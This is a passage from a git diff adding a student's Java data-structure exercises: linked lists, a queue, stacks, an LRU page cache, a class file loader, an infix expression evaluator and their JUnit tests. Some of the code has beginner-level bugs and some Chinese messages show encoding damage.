+			head.data = o;
+			head.next = null;
+		}else{
+			Node MyNode = new Node();
+			MyNode = head;
+			while (MyNode.next != null){
+				MyNode = MyNode.next;
+			}
+			Node AddNode = new Node();
+			MyNode.next = AddNode;
+			AddNode.data = o;
+		}
+	}
+	public void add(int index,Object o){
+		if(index<0 || o ==null){
+			throw new IllegalArgumentException("���Ӷ���λ�ó����Ҳ���Ϊ��");
+		}else if (index == 0 && head == null){
+			head = new Node();
+			head.data = o;
+			head.next = null;
+		}else if (index > 0 && head == null){
+			throw new IllegalArgumentException("���Ӷ���λ�ó���");
+		}else{
+			Node SrcNode = new Node();
+			Node AddNode = new Node();
+			Node SrcNode2 = new Node();
+			SrcNode = head;
+			for(int i=0;i<=index;i++){
+				SrcNode = SrcNode.next;
+			}
+			AddNode.next = SrcNode;
+			AddNode.data = o;
+			for (int i=0;i<index;i++){
+				SrcNode2 = SrcNode2.next;
+			}
+			SrcNode2.next = AddNode;
+		}
+	}
+	public Object get(int index){
+		Node SrcNode = new Node();
+		for (int i=0;i<index;i++){
+			SrcNode = SrcNode.next;
+		}
+		return SrcNode;
+	}
+	public Object remove(int index){
+		Node SrcNode = new Node();
+		Node TempNode = new Node();
+		Node MyNode = new Node();
+		MyNode = head;
+		int size = 0;
+		while (MyNode != null){
+			MyNode = MyNode.next;
+			size++;
+		}
+		if (index < 0 || index > size){
+		throw new IllegalArgumentException("ɾ������λ�ó���");	
+		}else{
+		for (int i=0;i<index;i++){
+			SrcNode = SrcNode.next;
+		}
+		TempNode =  SrcNode.next;
+		SrcNode.next = SrcNode.next.next;
+		return TempNode;
+		}
+	}
+	public int size(){
+		Node MyNode = new Node();
+		MyNode = head;
+		int size = 0;
+		while (MyNode != null){
+			MyNode = MyNode.next;
+			size++;
+		}
+		return size;
+	}
+	public void addFirst(Object o){
+		Node MyNode = new Node();
+		MyNode.data = o;
+		MyNode.next = head;
+		head.next = MyNode;
+	}
+	public Object removeFirst(){
+		Node MyNode = new Node();
+		MyNode.data = head.data;
+		head.next = head.next.next;
+		return MyNode;
+	}
+	public Object removeLast(){
+		Node TempNode = new Node();
+		Node MyNode = new Node();
+		MyNode = last;
+		TempNode = head;
+		int size = 0;
+		while (TempNode != null){
+			TempNode = TempNode.next;
+			size++;
+		}
+		for (int i = 0;i < size-1; i++){
+			TempNode = TempNode.next;
+		}
+		TempNode.next = null;
+		return MyNode;
+	}
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/List.java b/group23/601689050/1List&BinaryTreeNode/List.java
new file mode 100644
index 0000000000..863418df78
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/List.java
@@ -0,0 +1,10 @@
+package com.bjsxd.test;
+
+public interface List {
+	public void add(Object o);
+	public void add (int index,Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/Queue.java b/group23/601689050/1List&BinaryTreeNode/Queue.java
new file mode 100644
index 0000000000..1a975026a9
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/Queue.java
@@ -0,0 +1,45 @@
+package com.bjsxd.test;
+
+public class Queue{
+	private Object[] Q;
+	int front;
+	int rear;
+	public Queue(){
+		Q = new Object[100];
+	}
+	public Queue(int size){
+		Q = new Object[size];
+		front = 0;
+		rear = 0;
+	}
+	public void enQueue(Object o){
+		if((rear+1)%Q.length == front){
+			System.out.println("ջ����");
+		}else{
+			Q[rear] = o;
+			rear = rear+1;
+		}
+	}
+	
+	public Object deQueue(){
+		if (rear == front)
+		return null;
+		else{
+			Object temp = Q[front];
+			front = front+1;
+			return temp;
+		}
+	}
+	
+	public boolean isEmpty(){
+		return rear == front;
+	}
+	
+	public int size(){
+		if(rear > front){
+			return rear - front;
+		}else
+			return Q.length-1;
+	}
+
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/Stack.java b/group23/601689050/1List&BinaryTreeNode/Stack.java
new file mode 100644
index 0000000000..106d2ecc7d
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/Stack.java
@@ -0,0 +1,39 @@
+package com.bjsxd.test;
+
+public class Stack {
+	private int top = -1;
+	private Object[] elements;
+	private int size = 0;
+	public Stack(){
+		elements = new Object[100];
+	}
+	public void push (Object o){
+		elements[this.size] = o;
+		this.size++;
+	}
+	public Object pop(){
+		if (this.size != 0){
+			Object temp = elements[size-1];
+			elements[size-1]=0;
+			size--;
+			return temp;
+		}else{
+			System.out.println("ջ��");
+			return 0;
+		}
+	}
+	public Object peek(){
+		if(!this.isEmpty()){
+			Object temp = elements[this.size-1];
+			elements[this.size-1] = 0;
+			this.size--;
+			return temp;
+		}else{
+			System.out.println("ջ��");
+			return 0;
+		}
+	}
+	public boolean isEmpty(){
+		return this.size == 0;
+	}
+}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java b/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..3c6244ff90
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
@@ -0,0 +1,65 @@
+package loader;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+
+        className = className.replace('.', File.separatorChar) +".class";
+
+        for(String path : this.clzPaths){
+
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes != null){
+                return codes;
+            }
+        }
+
+        return null;
+
+
+
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        File f = new File(clzFileName);
+
+        try {
+
+            return IOUtils.toByteArray(new FileInputStream(f));
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+
+
+    public void addClassPath(String path) {
+        if(this.clzPaths.contains(path)){
+            return;
+        }
+
+        this.clzPaths.add(path);
+
+    }
+
+
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+
+
+}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
new file mode 100644
index 0000000000..8e4e172f25
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
@@ -0,0 +1,86 @@
+package test.loader;
+
+import loader.ClassFileLoader;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ClassFileLoaderTest {
+    static String path1 = "D:\\JavaProject\\4week_minijvm\\out\\production\\4week_minijvm";
+    static String path2 = "D:\\temp";
+
+
+
+    @Before
+public void before() throws Exception { 
+} 
+
+@After
+public void after() throws Exception { 
+} 
+
+/** 
+* 
+* Method: readBinaryCode(String className) 
+* 
+*/
+public void testClassPath(){
+
+    ClassFileLoader loader = new ClassFileLoader();
+    loader.addClassPath(path1);
+    loader.addClassPath(path2);
+
+    String clzPath = loader.getClassPath();
+
+    Assert.assertEquals(path1+";"+path2,clzPath);
+
+}
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "test.loader.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1056, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "test.loader.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+
+
+        String acctualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+
+
+    private String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+} 
diff --git a/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
new file mode 100644
index 0000000000..f1989f3131
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
@@ -0,0 +1,28 @@
+package test.loader;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/601689050/4weekLRU&JVM/LRU/Iterator.java b/group23/601689050/4weekLRU&JVM/LRU/Iterator.java
new file mode 100644
index 0000000000..96a43dbe0a
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/LRU/Iterator.java
@@ -0,0 +1,5 @@
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
new file mode 100644
index 0000000000..c065298de9
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
@@ -0,0 +1,117 @@
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param
+	 * @return
+	 */
+	int size = 0;
+	public void access(int pageNum) {
+
+		if(size == 0){
+			Node node = new Node();
+			node.pageNum = pageNum;
+			node.prev = node.next = null;
+			first = last = node;
+			size++;
+		}else{
+			if(first.pageNum == pageNum){
+				return;
+			}
+			if(size == 1){
+				addToFirst(pageNum);
+			}else {
+				if (last.pageNum == pageNum) {
+					moveLastToFirst();
+					return;
+				}
+				Node iteratorNode = first;
+				while (iteratorNode.next != null && iteratorNode.pageNum != pageNum) {
+					iteratorNode = iteratorNode.next;
+				}
+				if (iteratorNode == last) {
+					addToFirst(pageNum);
+					if (size > capacity) {
+						last = last.prev;
+						last.next = null;
+					}
+				} else {
+				moveToFirst(iteratorNode);
+			}
+			}
+		}
+	
+	}
+
+	private void moveLastToFirst() {
+		last.next = first;
+		first.prev = last;
+		first = last;
+		last = last.prev;
+		last.next = null;
+		first.prev = null;
+	}
+	private void moveToFirst(Node iteratorNode){
+		iteratorNode.prev.next = iteratorNode.next;
+		iteratorNode.next.prev = iteratorNode.prev;
+		iteratorNode.prev = null;
+		iteratorNode.next = first;
+		first.prev = iteratorNode;
+		first = iteratorNode;
+	}
+
+	private void addToFirst(int pageNum) {
+		Node node = new Node();
+		node.pageNum = pageNum;
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;
+		size++;
+	}
+
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
new file mode 100644
index 0000000000..a7dd99ec58
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
@@ -0,0 +1,29 @@
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java b/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
new file mode 100644
index 0000000000..4a71816e5d
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
@@ -0,0 +1,313 @@
+import java.util.Objects;
+import java.util.Stack;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	private Node rear;
+	public boolean isEmpty(){
+		return true;
+	}
+	
+	public void add(Object o){
+		if(isEmpty())
+		addFirst(o);
+		else
+			addLast(o);
+	}
+	public void add(int index , Object o){
+		if(index<0 || o ==null){
+			throw new IllegalArgumentException("不合法");
+		} else if (index == 0 && head == null){
+			addFirst(o);
+		}else if(index>0 && head == null){
+			throw new IllegalArgumentException("不合法");
+		}else{
+			Node srcNode = (Node) this.get(index);
+			Node newNode = new Node();
+			newNode.data = o;
+			newNode.next = srcNode.next;
+			srcNode.next.previous = newNode;
+			srcNode.next = newNode;
+			newNode.previous = srcNode;
+		}
+	}
+	public Object get(int index){
+		Node newNode = new Node();
+		for(int i = 0;i<index;i++){
+			newNode = newNode.next;
+		}
+		return newNode;
+	}
+	public Object remove(int index){
+		Node srcNode = (Node)this.get(index);
+		srcNode.previous.next = srcNode.next;
+		srcNode.next.previous = srcNode.previous;
+		return srcNode.data;
+	}
+	
+	public int size(){
+		Node newNode = new Node();
+		newNode = head;
+		int size = 0;
+		while (newNode != rear){
+			newNode = newNode.next;
+			size++;
+		}
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		if(isEmpty()){
+			rear = newNode;
+		}else{
+			head.previous = newNode;
+		}
+		newNode.next = head;
+		head = newNode;
+	}
+	public void addLast(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		if(isEmpty()){
+			head = newNode;
+		} else {
+			rear.next = newNode;
+		}
+		newNode.previous = rear;
+		rear = newNode;
+	}
+	public Object removeFirst(){
+		if(isEmpty())
+		return null;
+		Node temp = head;
+		head = head.next;
+		if (head != null){
+			head.previous = null;
+		}else{
+			rear = null;
+		}
+		return temp.data;
+	}
+	public Object removeLast(){
+		if(isEmpty())
+		return null;
+		Node temp = rear;
+		rear = rear.previous;
+		if(rear != null){
+			rear.next = null;
+		} else {
+			head = null;
+		}
+		return  temp.data;
+	}
+	public Iterator iterator(){
+		Iterator ite = new Iterator() {
+			private Node temp = head;
+			@Override
+			public boolean hasNext() {
+				return temp != null;
+			}
+
+			@Override
+			public Object next() {
+				Object data = temp.data;
+				temp = temp.next;
+				return data;
+			}
+		};
+		return ite;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		Node previous;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){
+		Node p1,p2 = null;
+		p1 = head;
+		while (head.next != null){
+			p2 = head.next;
+			head.next = p2.next;
+			p2.next = p1;
+			p1 = p2;
+		}
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		int size = this.size();
+		Node newNode = new Node();
+		newNode = head;
+		if(size%2 == 0){
+			int length = size/2;
+			for(int i = 0;i<length;i++){
+				newNode = newNode.next;
+			}
+			head.next = newNode.next;
+			head = newNode;
+		}else{
+			int length = (size+1)/2;
+			for(int i = 0;i<length;i++){
+				newNode = newNode.next;
+			}
+			head.next = newNode.next;
+			head = newNode;
+		}
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		Node newNode = (Node) this.get(i-1);
+		Node remNode = (Node) this.get(i);
+		for(int j=0;j<length-1;j++){
+			remNode = remNode.next;
+		}
+		newNode.next = remNode;
+		remNode.previous = newNode;
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		int[] listB = new int[list.size()-1];
+		int[] listA = new int[list.size()-1];
+		int size = list.size();
+		for(int i=0;i<size;i++){
+			Node newNode = (Node) this.get(i);
+			listB[i] = (int) newNode.data;
+		}
+		for(int i=0;i<size;i++){
+			Node newNode = (Node) this.get(listB[i]);
+			listA[i] = (int) newNode.data;
+		}
+		return listA;
+	}
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		int[] listB = new int[list.size()-1];
+		int[] listA = new int[this.size()-1];
+		int sizeB = list.size();
+		int sizeA = listA.length;
+		for(int i=0;i<sizeB;i++){
+			Node newNode = (Node) this.get(i);
+			listB[i] = (int) newNode.data;
+		}
+	    for(int i=0;i<sizeA;i++){
+			Node newNode = (Node) this.get(i);
+			listA[i] = (int) newNode.data;
+		}
+		for(int i = 0;i<sizeB ;i++){
+		for(int j = 0;j<sizeA ;j++){
+			if(listB[i] == listA [j]){
+				this.remove(j);
+			}else if(listB[i] < listA [j])
+				break;
+		}
+
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		int size = this.size();
+		Node newNode1 = new Node();
+		Node newNode2 = new Node();
+		for (int i = 0;i<size;i++){
+			newNode1 = (Node) this.get(i);
+			newNode2 = (Node) this.get(i+1);
+			if(newNode1.data == newNode2.data){
+				this.remove(i);
+			}
+		}
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		Node newNode = new Node();
+		int size = this.size();
+		for (int i = 0;i<size;i++){
+			newNode = (Node) this.get(i);
+			if((int)newNode.data > min && (int)newNode.data <max){
+				this.remove(i);
+			}else if ((int)newNode.data > min && (int)newNode.data > max){
+				break;
+			}
+		}
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		LinkedList listA = this;
+		LinkedList listB = list;
+		LinkedList listC = new LinkedList();
+		if(listA == null){
+			return list;
+		}
+		if(listB == null){
+			return this;
+		}
+		Node p1 = listA.head;
+		Node p2 = listB.head;
+		Node p3 = listC.head;
+		while(p1 != null && p2 !=null) {
+			if ((int) p1.data <= (int) p2.data) {
+				p3.next = p1;
+				p1 = p1.next;
+			} else {
+				p3.next = p2;
+				p2 = p2.next;
+			}
+			p3 = p3.next;
+		}
+		if(p1 == null){
+			p3.next = p2;
+		}
+		if(p2 == null){
+			p3.next = p1;
+		}
+		return listC;
+	}
+}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/List.java b/group23/601689050/4weekLRU&JVM/LRU/List.java
new file mode 100644
index 0000000000..4f7bcc71a8
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/LRU/List.java
@@ -0,0 +1,7 @@
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/601689050/5weekStack/stack/Stack.java b/group23/601689050/5weekStack/stack/Stack.java
new file mode 100644
index 0000000000..7b394d9f30
--- /dev/null
+++ b/group23/601689050/5weekStack/stack/Stack.java
@@ -0,0 +1,70 @@
+package stack;
+
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class Stack {
+
+    private ArrayList array;
+    private int count;
+
+
+    public Stack() {
+        array = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        array.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = array.get(count);
+       array.remove(count);
+
+        return o;
+    }
+
+    public Object peek() {
+
+        if(count == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+
+    public boolean isEmpty() {
+        return array.size() == 0;
+    }
+
+    public int size() {
+
+        return count;
+    }
+
+    public String toString(){
+
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0; i < size; i++){
+            string.append(this.peek().toString());
+            if(i < size-1 )
+                string.append(",");
+            s.push(this.pop());
+        }
+
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+        return string.toString();
+    }
+
+
+}
diff --git a/group23/601689050/5weekStack/stack/StackUtil.java b/group23/601689050/5weekStack/stack/StackUtil.java
new file mode 100644
index 0000000000..00920cdb08
--- /dev/null
+++ b/group23/601689050/5weekStack/stack/StackUtil.java
@@ -0,0 +1,133 @@
+package stack;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class StackUtil {
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        if(s == null || s.isEmpty()){
+            return;
+        }
+
+        Stack tmp = new Stack();
+        while(!s.isEmpty()){
+            tmp.push(s.pop());
+        }
+        while(!tmp.isEmpty()){
+            Integer top = (Integer) tmp.pop();
+            addToBottom(s,top);
+        }
+
+
+    }
+    public static void addToBottom(Stack s,  Integer value){
+        if(s.isEmpty()){
+            s.push(value);
+        } else{
+            Integer top = (Integer) s.pop();
+            addToBottom(s,value);
+            s.push(top);
+        }
+
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+
+        if(s == null || s.isEmpty()){
+            return;
+        }
+        Stack tmpStack = new Stack();
+        Stack s1 = new Stack();
+        while(!s.isEmpty()){
+            Object value = s.pop();
+            if(!value.equals(o)){
+                tmpStack.push(value);
+            }
+        }
+
+        while(!tmpStack.isEmpty()){
+            s1.push(tmpStack.pop());
+        }
+        while(!s1.isEmpty()){
+            s.push(s1.pop());
+        }
+
+     }
+
+     /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+
+        if(s == null || s.isEmpty() || s.size() < len || len <= 0){
+            return null;
+        }
+        Stack tmpStack = new Stack();
+        int i = 0;
+        Object[] topElement = new Object[len];
+        while(!s.isEmpty()){
+            Object top = s.pop();
+            tmpStack.push(top);
+            topElement[i++] = top;
+            if(i == len){
+                break;
+            }
+        }
+        while (!tmpStack.isEmpty()){
+            s.push(tmpStack.pop());
+        }
+        return topElement;
+    }
+
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+
+        Stack tmpStack = new Stack();
+        for (int i = 0; i < s.length(); i++) {
+            char tmpChar = s.charAt(i);
+            if (tmpChar == '(' || tmpChar == '{' || tmpChar == '[') {
+                tmpStack.push(tmpChar);
+            } else if (tmpChar == ')') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '(') {
+                    return false;
+                }
+            } else if (tmpChar == ']') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '[') {
+                    return false;
+                }
+            } else if (tmpChar == '}') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '{') {
+                    return false;
+                }
+            }
+        }
+        return tmpStack.size() == 0;
+    }
+}
diff --git a/group23/601689050/5weekStack/test/StackUtilTest.java b/group23/601689050/5weekStack/test/StackUtilTest.java
new file mode 100644
index 0000000000..413d9f3c4e
--- /dev/null
+++ b/group23/601689050/5weekStack/test/StackUtilTest.java
@@ -0,0 +1,69 @@
+package test;
+import stack.*;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import stack.StackUtil;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class StackUtilTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+
+    @Test
+    public void testReverse() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        Assert.assertEquals("5,4,3,2,1", s.toString());
+        StackUtil.reverse(s);
+        Assert.assertEquals("1,2,3,4,5", s.toString());
+    }
+
+    @Test
+    public void testRemove() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, 2);
+        Assert.assertEquals("1,3", s.toString());
+    }
+
+    @Test
+    public void testGetTop() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        {
+            Object[] values = StackUtil.getTop(s, 3);
+            Assert.assertEquals(5, values[0]);
+            Assert.assertEquals(4, values[1]);
+            Assert.assertEquals(3, values[2]);
+        }
+    }
+
+    @Test
+    public void testIsValidPairs() {
+
+       Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+       Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+    }
+
+}
diff --git a/group23/601689050/6weekInfixExpr/InfixExpr.java b/group23/601689050/6weekInfixExpr/InfixExpr.java
new file mode 100644
index 0000000000..7b833931b3
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/InfixExpr.java
@@ -0,0 +1,61 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class InfixExpr {
+    String expr = null;
+    public InfixExpr(String expr){
+        this.expr = expr;
+    }
+    public float evaluate(){
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Token> opStack = new Stack<>();
+        Stack<Float> numStack = new Stack();
+        for(Token token : tokens){
+            if(token.isOpretor()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else {
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token prevOperator = opStack.pop();
+                        Float f2 = numStack.pop();
+                        Float f1 = numStack.pop();
+                        Float result = calculate(prevOperator.toString(),f1,f2);
+                        numStack.push(result);
+                    }
+                    opStack.push(token);
+                }
+            }
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+        }
+        while (!opStack.isEmpty()){
+            Token token = opStack.pop();
+            Float f2 = numStack.pop();
+            Float f1 = numStack.pop();
+            numStack.push(calculate(token.toString(),f1,f2));
+        }
+        return numStack.pop().floatValue();
+
+    }
+
+    private Float calculate(String op, float f1, float f2) {
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if(op.equals("/")){
+            return f1 / f2;
+        }
+       return null;
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/InfixExprTest.java b/group23/601689050/6weekInfixExpr/InfixExprTest.java
new file mode 100644
index 0000000000..bf2f8e91a9
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/InfixExprTest.java
@@ -0,0 +1,50 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class InfixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
